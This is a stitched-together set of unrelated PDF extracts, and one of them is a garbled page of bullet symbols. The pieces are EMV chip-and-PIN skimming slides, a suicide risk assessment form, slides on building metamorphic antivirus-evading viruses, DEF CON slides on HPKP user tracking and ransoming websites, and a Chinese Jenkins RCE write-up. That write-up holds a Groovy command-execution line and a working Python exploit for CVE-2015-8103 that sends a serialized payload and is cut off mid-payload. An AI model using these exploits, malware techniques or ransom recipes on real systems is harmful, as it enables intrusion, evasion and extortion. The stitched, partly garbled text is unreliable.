Payment Application Specification format 0 0 x x x x x x AAC returned in second GENERATE AC 0 1 x x x x x x TC returned in second GENERATE AC 1 0 x x x x x x Second GENERATE AC not requested x x 0 0 x x x x AAC returned in first GENERATE AC x x 0 1 x x x x TC returned in first GENERATE AC x x 1 0 x x x x ARQC returned in first GENERATE AC x x x x 1 x x x CDA performed x x x x x 1 x x Offline DDA performed x x x x x x 1 x Issuer Authentication not performed x x x x x x x 1 Issuer Authentication failed x x x x 1 x x x Offline PIN Verification Performed x x x x x 1 x x Offline PIN Verification Performed and Failed x x x x x x 1 x PIN Try Limit Exceeded x x x x x x x 1 Last Online Transaction Not Completed Chip & PIN is definitely broken ­ v1.3 Backend detection  the attack execution might be detected by the backend (via the TVR, CVM Results and CVR advertising failed data authentication and cleartext CVM) but blocking a card solely on this information does not feel like a realistic solution  a downgraded CVM List with offline PIN + fallback to online PIN might be used to “hide” cleartext CVM Results and CVR by answering incorrect PIN offline verification to the terminal (without passing the command to the card), customer would be prompted twice for the PIN  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Backend detection  (untested) it would be also possible for the skimmer to advertise relevant offline authentication records from a stored valid SDA card with a convenient CVM List for the authentication phase, and use the real card for the transaction, this would result in “clean” TVR, CVM Results and CVR  Terminal Capabilities (9f33), when requested by the card via CDOL1/CDOL2 and sent by the terminal via GENERATE AC, can be intercepted and rewritten to advertise only SDA capability in case of DDA card skimming  CDA is designed to protect against this but it should still be possible for the skimmer to force usage as an SDA card  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Summary  an EMV skimmer poses a serious threat due to ease of installation and difficult detection  EMV data allows fraudulent usage on websites that perform insufficient validation (as well as magstripe clone for cards that do not use iCVV)  the PIN can be always intercepted despite card type (SDA or DDA) and CVM / Issuer Action Codes configuration  stealing an EMV chip & pin card that was previously skimmed enables full usage and raises serious liability considerations  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Vendor Response  EMVCo announced that the hole will not be fixed saying that “when the full payment process is taken into account, suitable countermeasures are available”  MasterCard spokesman Jan Lundequist (head of chip product management) said in an interview that the EMV system is simply too complex for an easy fix  In the Netherlands the hole has been reportedly closed by updating POS firmware with a version which apparently disables plaintext PIN verification for domestic cards (believed to be 100% DDA)  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Recommendations  despite industry claims about reduced fraud levels in our opinion EMV is inadequate and overly complex, it should be replaced with a simpler and cleaner solution  correctly implemented crypto should be performed between card <> backend (online) or card <> terminal (offline) for double authentication and preventing interception/man-in- the-middle attacks for every single step of the transaction  terminals cannot be trusted, PIN input and verification should be confined on the card itself (e-ink scrambled touchpad)  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 Recommendations  “patching” EMV is possible by disabling plaintext PIN verification on POS and ATM firmwares preventing the downgrade attack  despite some vendor response claiming otherwise this would play nicely with every card type as on-line PIN verification can be used for SDA  actually on-line PIN verification could be used all the time, both North America and European banks have reportedly little use for the whole off-line verification mess pushed by EMV and could do everything on-line...  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 chip skimmer installations dated 2008 have been reported in the wild by law enforcement authorities after this presentation was made available  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3 http://www.inversepath.com http://www.aperturelabs.com sponsored by: http://www.integra-group.it  Copyright 2011 Inverse Path S.r.l. Chip & PIN is definitely broken ­ v1.3
pdf
… ’ ? • ’ ? • • ’ ? • • • ’ ? • • • • ’ ? • • • • ’ ? • • • • • … • • • • – • – • – – • – – • – – • – • – – • – • – – • – • – – • – • – – • – – • – – • – – • – – • – – • • – – • – – • –
pdf
Crisis Intervention Documentation & Suicide Risk Assessment Immediate State Suicide in progress Call 911 immediately & ascertain location Influence of drugs / alcohol If yes, list: _____________________ Potential suicide methods nearby Self harm in progress / just completed Suicidal Ideation & Intent Suicidal Thoughts: Current Past two months None Suicidal Intent: PIC asked directly if considering suicide Not asked Current Past two months None Where intent exists currently or within the past two months: Plan is detailed (when & where) Plan is vague Has decided on means Means undecided Where means are decided: Already has Easy access Difficult access Suicidal Capability Prior attempt Prior rehearsal None Details: ___________________________________________________ __________________________________________________________ Suicidal Desire What’s wrong & why now? ___________________________________ __________________________________________________________ __________________________________________________________ Why not now? (reasons for living): _____________________________ __________________________________________________________ __________________________________________________________ Who is involved? (social supports, important relationships, conflicts): Positive Relationships Strained Relationships Suicide Risk Indicators Desire Intent Current ideation Psychological pain Hopelessness Feels like a burden Feels trapped Feels intolerably lonely Attempt in progress Plans to kill self with method known Plans to kill others as well as self Expressed intent to die Preparatory behaviors Has secured means Practice with method Capability Buffers History of suicide attempts Access to firearms Exposure to death by suicide History of or current violence toward others Available means of killing self / others Currently intoxicated Substance abuse (recent / current) Acute symptoms of mental illness Recent dramatic mood change Out of touch with reality Not sleeping Aggression / Rage / Impulsivity Recent change in treatment Internal Ability to cope with stress Spiritual beliefs Core values / purpose in life Frustration tolerance Planning for the future External Immediate supporting relationships Strong community bonds People connections Familial responsibility Pregnancy Engagement with you Positive therapeutic relationship Estimated Risk Level: LOW MODERATE HIGH UNCERTAIN Outcomes & Next Actions Persuaded to accept assistance? Yes No If no, action taken: Emergency response initiated Resource material given Other: ____________________ Agrees to talk to: Parent Relative Friend School Counselor Faith Based Physician Professional Referral: Current provider Provider identified now Name/Number:_______________________ Willing to give up means to suicide (if in their possession)? Yes No Not Certain Agrees not to use drugs / alcohol? Yes No Not Certain PIC’s Commitment to Safety: _______________________________________________________ ________________________________________________________________________________ ________________________________________________________________________________ Action Plan (be concrete): __________________________________________________________ ________________________________________________________________________________ ________________________________________________________________________________
pdf
Metamorphic Viruses Sean O‟Toole Metamorphism Defined  “Body-polymorphics” (Szor, 127)  “Self Mutating Code” (Lord Julius)  “The Art of Extreme Mutation” (Mental Drill) Brief Description of Sections  1) Disassembler: used to disassemble host, most often into a linked list of op codes.  2) Depermutater: removes some of the jumps added by the permutater, and sometime also from the host, and therefore removes unreachable code.  3) Shrinker: changes op code clusters to most efficient op code. Brief Description of Sections  4) Expander: randomly chooses code to change to equivalent op code or op code cluster.  5) Permutater: randomly “shuffles” groups of code and links the groups with JMPs.  6) Assembler: re-assembles code at the end of the infection process. Metamorphic Programming Approach “Do not think in code think in macros” (Mental Drill). In other words, the best approach to this process it to approach it with software engineering in mind. Everything is a separate/independent module or macro. 1) Disassembler (Choices)  Using a pseudo-language, which was the idea presented in “Metamorphism in Practice” by Mental Drill.  Using a reverse-engineering tool, such as LDE (Length Disassembly Engine) and ADE (Advanced Disassembly Engine) by Zombie. To use these please check the manuals that accompany the module. 1.1) “Pseudo” Code Ex. by Mental Drill Op Code Structure: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OP *-------- instruction data -------* LM *-pointer-* Op Coding Ex. (Full List in Article): MOV:= 40; Reg, Mem:= +2; So, MOV Reg, Mem := 42 2) Depermutator (Choices)  Integrate depermutator into the disassembly process. (This is the most common.)  Create separate module for depermutator. 2.1) Pseudo-Code Variables: ESI = Entrypoint. PathMarks: buffer that will contain the depermutated virus. LabelTable: list of elements that are each two DWORDs long. The first DWORD stores the real EIP where it points; the second stores a pointer to the depermutated code. FutureLableTable: list that contains pointers to the destinations of JMPs, CALLs, etc. that have not yet been depermutated. Each element is a DWORD. 2.1) Pseudo-Code Initializations: 1) Initialize the PathMarks map (i.e. zeroing it) and the number of labels and future labels. 2) Translate the current EIP (in ESI) directly onto the PathMarks map. 2.1) Pseudo-Code If it's JMP: * If it points to an already depermutated address, write a JMP instruction, insert a label to the destiny and get a new EIP at FutureLabelTable. If the label already exists, use that label. * If not, then write a NOP (just in case a label points directly to this JMP) and load a new EIP (in ESI) with the destination. In this way, we have eliminated a possible permutation JMP. 2.1) Pseudo-Code If it's Jcc (conditional jump): * If it points to an already depermutated address, write the Jcc and insert a label to the destiny if the label doesn't exist (if not, use the label already inserted in the table). * If the destiny is not depermutated yet, then store it at FutureLabelTable and continue. 2.1) Pseudo-Code If it's CALL, act as if it were a Jcc. If it's RET, JMP Reg or JMP [Mem] (a final leaf in the code tree), store the instruction and get a new EIP from FutureLabelTable. 2.1) Pseudo-Code Note: When getting a new EIP from the FutureLabelTable, we check if the labels stored here are already depermutated. If they are, then we insert the corresponding labels at the LabelTable and eliminate the entry in FutureLabelTable. If not, we get that new EIP (i.e. we load ESI with that new entrypoint), we insert the new label at LabelTable and continue. 2.1) Pseudo-Code If creating a depermutater as a stand-alone module. The Psuedo-Code is the same, except that when depermuating a jump the pointers in the elements of the list are manipulated instead. 2.2.1) Example (permutated code) xxx1 xxx2 xxx3 jmp @A yyy1 yyy2 @B: xxx4 xxx5 xxx6 jmp @C yyy3 yyy4 @A: xxx7 xxx8 xxx9 jmp @B @D: xxx13 xxx14 RET yyy5 @C: xxx10 xxx11 jz @D xxx12 RET 2.2.2) Example (depermutated code) xxx10 xxx11 jz @D xxx12 RET @D: xxx13 xxx14 RET xxx1 xxx2 xxx3 xxx7 xxx8 xxx9 xxx4 xxx5 xxx6 3)Shrinker The shrinker is pretty much a stand alone module. The only possible relation is if the expander uses a list to find code and choose an equivalent, the list can be reversed to find the shrunken equivalent to a cluster of op code. 3.1) Pseudo-Code CurrentPointer = FirstInstruction @@Loop: if([CurrentPointer] == MATCHING_SINGLE){ Convert it if (CurrentPointer != FirstInstruction) call DecreasePointer if (CurrentPointer != FirstInstruction) call DecreasePointer if (CurrentPointer != FirstInstruction) call DecreasePointer goto @@Loop } if ([CurrentPointer] == MATCHING_PAIR) { Convert it if (CurrentPointer != FirstInstruction) call DecreasePointer if (CurrentPointer != FirstInstruction) call DecreasePointer if (CurrentPointer != FirstInstruction) call DecreasePointer goto @@Loop } if([CurrentPointer] ==MATCHING_TRIPLET){ Convert it if (CurrentPointer != FirstInstruction) call DecreasePointer if (CurrentPointer != FirstInstruction) call DecreasePointer if (CurrentPointer != FirstInstruction) call DecreasePointer goto @@Loop } do (CurrentPointer++) while ([CurrentPointer] == NOP) if(CurrentPointer != LastInstruction) goto @@Loop DecreasePointer: do (CurrentPointer--) while (([CurrentPointer] == NOP) && ([CurrentPointer.Label == FALSE)) return 4) Expander The expander is most often it‟s own module, with the only possible relationship being the previously mentioned relationship with the shrinker. 4.1) Pseudo-Code CurrentPointer = FirstInstruction AmountExpanded = 0 While(NotEndOfCode) { boolean isExpandable = Expandable ([CurrentPointer]) RandomNum = 0 if(0<isExpandable<4) RandomNum = random() % 2 else if(3<isExpandable<7) RandomNum = (random() % 4) - 1 else if(isExpandable == 7) RandomNum = (random() % 6) – 2 if(RandomNum <= 0 || AmountExpanded == EXPANDEDENOUGH) { IncrementPointer(CurrentPointer) AmountExpanded = 0 } else { replace(CurrentPointer, expandOp([CurrentPointer], isExpandable, RandomNum)) Increment(AmountExpanded) } } 4.1) Pseudo-Code (Notes) Expandable checks if the current operation can be expanded to a larger amount of code. Return Values: 0: not expandable 1: can expand to one operation 2: can expand to two operations 3: can expand to three operations 4: can expand to one or two operations 5: can expand to one or three operations 6: can expand to two or three operations 7: can expand to one, two, or three operations 4.1) Pseudo-Code (Notes) Function replace: replaces the instruction pointed at by argument one with the instruction(s) in argument two. Function expandOp: expands the operation pointed at by current pointer with instructions based on the values of the second two arguments (isExpandable, RandomNum) Possible Arguments: exchange current operation with the one listed: (1,1),(4,1),(5,1), or (7,1) expand current operation to the two mentioned in the list: (2,1),(4,2),(6,1), or (7,2) expand current operation to the three mentioned in the list: (3,1),(5,2),(6,1), or (7,3) 5) Permutater Permutaters are self-contained modules, which can be seen in the Win32/Ghost and Win95/Zperm. 5.1.1) Pseudo-Code (Shuffling Code) ESI = Initial address of instructions EDI =Buffer for code NumDivisions = User Sets GroupSizes = (EDI- ESI)/NumDivisions List = zeroed array size NumDivisions for(c=0; c<NumDivisions; c++) { Redo: randomNum = (rand() % NumDivisions) if(Unique(List, randomNum){ List[c] = randomNum CopyGroup( (randomNum * GroupSize) + ESI, GroupSize, [EDI]) EDI +=GroupSize [EDI] = insert jmp for later EDI += jmpSize } else goto redo } 5.1.2) Pseudo-Code (Adding JMPs) EDI = Reset to Beginning of Buffer IndexNum = find(list, 0) EntryPoint = (IndexNum * GroupSize) + (IndexNum*jmpSize) + ESI JmpPoint = EntryPoint + GroupSize For(c=1; c<NumDivisions; c++) { IndexNum = find(list, c) DestinationPoint = (IndexNum * GroupSize) + (IndexNum*jmpSize) + ESI [EDI+JmpPoint] = Jump to DestinationPoint JmpPoint = DestinationPoint + GroupSize } 6) Assembler In the assembler, the most prevalent problem that needs to be fixed during assembly is jump relocation. 6.1) Pseudo-Code Initialized: eip_table (8 bytes per entry): new_eip old_eip (+4) jmp_table (4 bytes per entry): ofset of referenced instructions. 6.1) Pseudo-Code for (int y=0; still jumps to process; y++) for(int x=0; not end of jmp_table; x++) if( jmp_table[x*4] == eip_table[(y*8)+4]) assign jump eip_table[y*8] endif endfor endfor 7) Other Ideas  Register Exchange (EBX becomes ECX), like AZCME32 by Zombie and W9x/Regswap by Vecna.  Entry Point Obscuring (EPO) & Unknown Entry Point (UEP) Techniques  Integrating other modules, such as garbage code generators and encryption, into metamorphism. 8) How Does This Technique Defeat AV Techniques? The article “Zmist Opportunities” in Virus Bulletin March 2001 the authors stated, “Metamorphic creations will come very close to the concept of a theoretically undetectable virus.” Zmist will be used as the test for the AV techniques. 8.1) Zombie’s Ideas on Undetectable Viruses (29A #6).  Variables: C := complexity of checking file for some virus. C[i] := complexity, caused by metamorphism, polymorphism, etc., of checking file for some virus at a specific address. I := number of possible addresses in file where execution of virus body (or part of this body could) start.  Formula: C = C[i] * I. 8.2) Signature Scan  Obviously, by having a continually variable body generation to generation, there will be no signature, unless the virus purposely leaves an unambiguous sign to mark already infected files.  Zmist places a „Z‟ at offset 0X1Ch as an infection mark.  If an ambiguous marker is used false positives will be encountered by the virus and AV, if it uses it as a signature. 8.3) Geometric Scanning  The Zmist virus causes at least a 32KB increase in the virtual size of the data section.  If a geometric scanner, which looks for size changes, the scanner will often give false positives since this action is extremely similar to the actions of a runtime- compressed file. 8.4) Possible Answer  1) A combination of techniques that as a whole could be used in a heuristic concept.  2) Use of a shrinker so that a skeleton can be traced through and signature scanned.  The flaws in these answers:  This would become very time consuming and therefore would often not be used by the public, as pointed out on many occasion by Ferrie & Szor.  Techniques that require emulation can be blocked by the latest anti-emulation technique being integrated into the code. 9) Why This Technique Is Superior To Previous Techniques:  Trash generation: This technique will cause a constant growth in code size until the virus becomes to large and obvious.  Polymorphism: The majority of polymorphic viruses decrypt into a constant code body that can be recognized. 10) Thank You I will be happy to answer any questions to the best of my abilities that you have with the remaining time. If you still have questions, I‟d be happy to speak to you later.
pdf
Abusing Bleeding Edge Web Standards for AppSec Glory Bryant Zadegan Ryan Lester Advisor/Mentor CEO, Co-Founder Mach37 Cyph keybase.io/bryant [email protected] @eganist @TheRyanLester • Does AppSec stuff, usually. • Mentors security startups, sometimes. • “Mentors” others on AppSec, occasionally. • Paid a buck to make Steve Ballmer dance, but just once. • Runs an E2EE communication startup • Codes for an E2EE communication startup • Ran QA automation at a rocket factory • Got sued by Napster (and not for piracy) Bleeding Edge Web Standards • For Your (Ab)use (FOSS + Demo) (Demo) (Demo) Potential Pain: But Why? Source: Harold & Kumar Go to White Castle • New standards are frequently drafted. • Many introduce unforeseen complications. • Novel uses encourage future tweaks. S R I • Validate resources beyond your trust (e.g. CDNs) <script src="https://code.jquery.com/jquery.min.js" integrity="sha256-[hash] sha256-[hash2]" crossorigin="anonymous"> </script> • w3.org/TR/SRI/ • caniuse.com/subresource-integrity BUILDER DEMO heisenberg.co/sridemo/ Praise be to the demo gods heisenberg.co/sridemo/sameorigin ( ͡° ͜ʖ ͡°) SRI Per the SRI Spec: ...so we implemented it for you. NOTE On a failed integrity check, an error event is fired. Developers wishing to provide a canonical fallback resource (e.g., a resource not served from a CDN, perhaps from a secondary, trusted, but slower source) can catch this error event and provide an appropriate handler to replace the failed resource with a different one. BUILDER DEMO heisenberg.co/srifallbackdemo/ Kneel to the demo gods SOURCE (Simplified BSD) github.com/cyph/sri-fallback Do source gods even exist? CSP • Combines semi-strict header with strict meta. • Allows for pre-loading of trusted complex logic. • Does not work for the verbs frame- ancestors, report-uri, or sandbox. (We didn’t actually trademark this, but it’s a good name.) BUILDER DEMO heisenberg.co/metacspdemo/ Fall on thy sword for the demo gods. CSP • Best for adapting a semi-recent application for use with CSP. • Application’s trusted static logic is allowed to execute on initial load. • Meta-Hardening prevents dynamic content from potentially executing later on. • This can break sites. Use ! – (Chrome 46+ only; no reporting in Firefox 😐) • Quickstart: Public-Key-Pins : max-age=5184000; includeSubdomains; pin-sha256="az9AwClWuHM+fYV+d8Cv9B4sAwdcoUqj93omk18O/pc="; pin-sha256="5UONcYAsFtYscIlFlm4+aodoL20RRHzGaOeoSNEZ+iA=" "https://report-uri.io/report/[id]/reportOnly" • tools.ietf.org/html/rfc7469 • caniuse.com/hpkp HPKP + Rapid Key Rotation can trap content: – to enable in-browser code signing – control content changes and harden SRI. – to enable nuanced web content blocking. (NetSec) – to track users… – to be total jerks… ...in ways we shouldn't put in print. (Thanks Jann Horn @ Cure53 for putting us onto this!) Wait, in-browser code signing? No extensions? • Used HPKP Suicide to pin code-signing logic and keys into the AppCache/Service Worker. • Logic fetches and validates content from a different origin. Nearly Trust-On-First-Use. This was so novel, Cyph had to file for a patent (protecting this is why this slide is even here), but you come fairly close to this for free if you... Control local storage updates! Harden SRI! • Set HPKP max-age to around your deployment schedule, but no more than 60 days. • Rotate routinely. Benefits: retain control of front-end content between releases, mitigate risks of SRI hash tampering server-side. BUILDER DEMO redskins.io I don't believe in demo gods Web Content Gateway e.g. [SomeVendor]? Lock your users out of sites even when they're not on your network! 1. For flagged domains, set HPKP headers. 2. Rotate keys weekly at the web gateway. Done! (By us disclosing it, is this now prior art? ) Oh... https://crt.sh/?id=19538258 Issuer: commonName = VeriSign Class 3 Public Primary Certification Authority - G5 Subject: commonName = organizationalUnitName = Symantec Trust Network organizationName = "Blue Coat Systems, Inc." User tracking? Well, we really shouldn't talk about this… But since this is DEF CON... …let's track users! Pre-requisites: Lots of (sub)domains to pin Browsers that allow HPKP incognito Rapid Key Rotation (Thanks! ) Server setup: 1. Point *.cyph.wang at the backend server 2. Set POST /set to add ${clientIP}-${subdomain} to cache and return 200 response with valid HPKP header 3. Set GET /check to return 418 error response if ${clientIP}- ${subdomain} is in the cache; otherwise return 200 response (no HPKP header) 4. Set a 12-hour interval to delete the current TLS key + IP cache then generate a new TLS key + cert for [0-31].cyph.wang and $(date +%s).cyph.wang Client JavaScript: 1. GET [0-31].cyph.wang/check and reconstruct a uint32 ID from the resulting binary (with each successful request being 0 and each failure being 1) 2. If ID is 4294967295 (max uint32), assume an error and throw an exception 3. If ID is 0, generate a new ID via crypto.getRandomValues, convert it to binary, iterate over the bits, and POST each 1 bit to the correct index within [0-31].cyph.wang/set 4. Return final ID to calling code Considerations: Risk: DoSing tracker domains as a public service 1. Domain whitelist for your own tracker, or 2. App-issued and tracker-verified nonce if analytics is your business model. The pattern we described is among those here: https://tools.ietf.org/html/rfc7469#section-5 BUILDER DEMO cyph.wang I don't believe in demo gods SOURCE (New BSD) github.com/cyph/hpkp-supercookie Do source gods even exist? …to be total jerks? we really shouldn't talk about this… Who are we kidding? This is DEF CON. Pre-requisites: A high-traffic target A way to shell the box A free certificate authority (Sorry ) 1. Determine target 2. Generate ransom keypair (the recovery key) 3. Pwn target webserver. 4. Generate new lockout keypair + CSR 5. 6. Profit! While owned users < n 1. "public-key-pins: max-age=31536000; includeSubdomains; pin-sha256= ; pin-sha256= " 2. If owned users = n, 1. Generate new lockout keypair + CSR 2. Blow old lockout keypair. This locks out n users. 3. n = 0 isis.io We're going to regret this. Considerations (i.e. why this is a High): 1. Let's Encrypt limits you to 20 certs per week. 2. Chrome + Firefox have HPKP lockout mitigations (more later) 3. You still need to pop the box. Programmatic Mitigations: Chromium: Firefox: Let's Encrypt: Host Mitigations 1. Use DNS Certification Authority Authorization (CAA) – RFC 6844. 2. Use HPKP. 3. Don't get popped. End User Mitigations (Clearing key pins): 1. chrome://net-internals/#hsts 2. (alt): clear any irrelevant part of your cache. "due to a curly brace mishap, we've been clearing it over-aggressively for years." (yes, we reported this one too. CVE-2016-1694) 3. about:config >> security.cert_pinning.enforcement_level = 0, visit site to take new header, re-enable. SOURCE (New BSD) github.com/cyph/ransompkp Do source gods even exist? Hat Tip To Geller Bedoya, Jonn Callahan, Jann Horn (and all of Cure53), Samy Kamkar, Jim Manico, Mike McBryde, Garrett Robinson, and John Wilander, as well as the Chrome, Firefox, and Let's Encrypt security teams for their contributions. Thank You! Bryant Zadegan Ryan Lester Advisor/Mentor CEO, Co-Founder Mach37 Cyph keybase.io/bryant [email protected] @eganist @TheRyanLester
pdf
Jenkins 历史RCE漏洞梳理 环境下载,修改中间版本号从⽽下载任意版本 https://updates.jenkins-ci.org/download/war/2.31/jenkins.war, https://get.jenkins.io/war/2.302/jenkins.war Jenkins 中 java 版本的使⽤情况 1.612 以后是 java 7 2.54 之后是 java 8 2.164 之后是 java 8 或者 java 11 https://github.com/gquere/pwn_jenkins 相对⽐较全的 jenkins 总结 Jenkins 的三种模式 1. Full Access 在该全权限下可以对 Jenkins 做任何事情,所以我们可以直接通过 Script Console 来利⽤ Goroovy 进⾏代码执 ⾏,但是这种情况⽐较少 http://localhost:8080/jenkins/script print "whoami".execute().text 2. Read-only Mode 可在全局安全策略中进⾏设置,设置⾥之后那么匿名者也能看到⼀些⼯作⽇志,job/node 等敏感信息 3. Authenticated Mode 该模式下必须要通过有效的账号密码才能看到 Jenkins 的信息以及任何操作 [常⻅]CVE-2015-8103 反序列化远程代码执⾏ 影响版本 该漏洞不需要⽤户进⾏登陆,危害较⼤,但是命令执⾏是否成功需要借助 dnslog 外带的⽅式来实现,我直接反弹 shell.... Jenkins <= LTS 1.625.1 Jenkins <= 1.637 漏洞利⽤ poc: #!/usr/bin/python #usage: ./jenkins.py host port /path/to/payload import socket import sys import requests import base64 host = sys.argv[1] port = sys.argv[2] #Query Jenkins over HTTP to find what port the CLI listener is on r = requests.get('http://'+host+':'+port) if 'X-Jenkins-CLI-Port' in r.headers: cli_port = int(r.headers['X-Jenkins-CLI-Port']) elif 'X-Jenkins-CLI-Port' in r.headers: cli_port = int(r.headers['X-Jenkins-CLI2-Port']) else: print "No CLI Port found in headers" sys.exit(-1) #Open a socket to the CLI port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, cli_port) print 'connecting to %s port %s' % server_address sock.connect(server_address) # Send headers headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x 65\x63\x74' print 'sending "%s"' % headers sock.send(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data #data = sock.recv(1024) #print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[3],'rb').read() payload_b64 = base64.b64encode(payloadObj) payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x 4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x 00\x00\x11\x2d\xac\xed\x00\x05\x73\x72\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\ x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00 \x00\x00\x01\x02\x00\x03\x4c\x00\x10\x63\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x50\x7 2\x6f\x78\x79\x74\x00\x30\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x 67\x2f\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\ x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x3b\x5b\x00\x07\x72\x65\x71\x75\x65\x73\x74\x74 \x00\x02\x5b\x42\x4c\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x74\x00\x12\x4c\x6a\x61\x7 6\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x72\x00\x17\x68\x75\x64\x 73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\ x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49 \x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x7 3\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x 78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\ x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65 \x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x7 8\x63\x65\x70\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x 72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\ x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74 \x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6 d\x6d\x61\x6e\x64\x3b\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x 63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x78\x72\x00\x13\ x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35 \x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x6 1\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x 64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x03\x5b\x00\x0a\x73\ x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e \x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x0 0\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x 74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x78\x70\x71\ x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53 \x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3 c\xfd\x22\x39\x02\x00\x00\x78\x70\x00\x00\x00\x0c\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x 6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\ x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62 \x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7 e\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x4c\x00\x0a\x 6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x78\x70\x00\x00\x00\x43\x74\ x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d \x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3 c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x 00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\ x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73 \x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x7 